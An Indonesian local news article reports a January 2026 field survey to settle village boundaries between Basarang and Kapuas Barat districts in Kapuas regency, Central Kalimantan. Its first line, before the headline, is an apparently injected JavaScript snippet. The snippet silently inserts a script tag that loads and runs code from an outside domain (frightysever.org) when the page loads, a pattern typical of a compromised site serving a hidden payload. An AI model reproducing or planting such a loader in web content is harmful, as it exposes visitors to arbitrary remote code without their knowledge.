(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Survei lapangan penegasan batas wilayah antara Kecamatan Basarang dan Kecamatan Kapuas Barat digelar, Selasa (20/1/2026) siang.
Kegiatan ini merupakan tindak lanjut atas Surat Camat Basarang tertanggal 26 November 2025 terkait permohonan penjadwalan penegasan dan penetapan batas desa.
Penegasan batas wilayah diikuti Assisten 1
Bidang Pemerintahan dan Kesejahteraan Rakyat Setda Kapuas Romulus, Kabag Tata Pemerintahan, Fakhruransi, Camat Basarang Nurcahyono, Camat Kapuas Barat Riza Fahlevi, unsur Forkopimcam, perwakilan DPMD Kabupaten Kapuas, Kepala Desa Naning, Desa Batu Nindan, Kecamatan Basarang, Desa Maju Bersama Kecamatan Kapuas Barat, BPD, Damang, dan tokoh masyarakat dari tiga desa setempat.
Baca juga: Tagih Janji Ketua DPRD Kalsel Pembatalan Taman Nasional Meratus
Survei penegasan batas wilayah merujuk pada hasil berita acara rapat penegasan batas antara Desa Naning dan Desa Batu Nindan, Kecamatan Basarang, dengan Desa Maju Bersama, Kecamatan Kapuas Barat yang digelar pada 17 November 2025.
Penegasan batas wilayah akan difokuskan pada segmen Desa Naning dan Desa Batu Nindan, Kecamatan Basarang, dengan Desa Maju Bersama, Kecamatan Kapuas Barat, sesuai berita acara kesepakatan penegasan batas desa tanggal 11 Desember 2023.
Selain itu, kegiatan ini sekaligus melakukan pengecekan batas wilayah dengan mempedomani berita acara pelacakan batas wilayah tanggal 24 Agustus 2019.
Baca juga: Disdikbud Kalsel Perkuat Akuntabilitas Dana BOSDA 2026 bagi Sekolah Swasta
Penegasan batas wilayah diharapkan dapat memperjelas batas administrasi antarwilayah guna mendukung tertib pemerintahan dan mencegah potensi sengketa batas desa di kemudian hari.
Dalam arahannya, Romulus menyampaikan bahwa penegasan batas wilayah di lokasi tersebut sudah melalui tahapan panjang berdasarkan kronologis dalam berita acara yang dibuat.
Dia menegaskan, apapun lokasi kawasan atau lahan di suatu wilayah, tata batas harus jelas. Maka itu tujuan dari kegiatan adalah untuk melihat langsung ke titik lokasi tata batas.
Baca juga: Pastikan Tepat Sasaran, Pemkab Kapuas Gelar Rakor Pro-SN 2025
“Diharapkan masyarakat untuk bersabar dan tetap menjaga kondusifitas, dalam menunggu hasil dari survei lapangan tata batas wilayah,” harapnya. (Kanalkalimantan.com/ags)
Reporter: ags
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.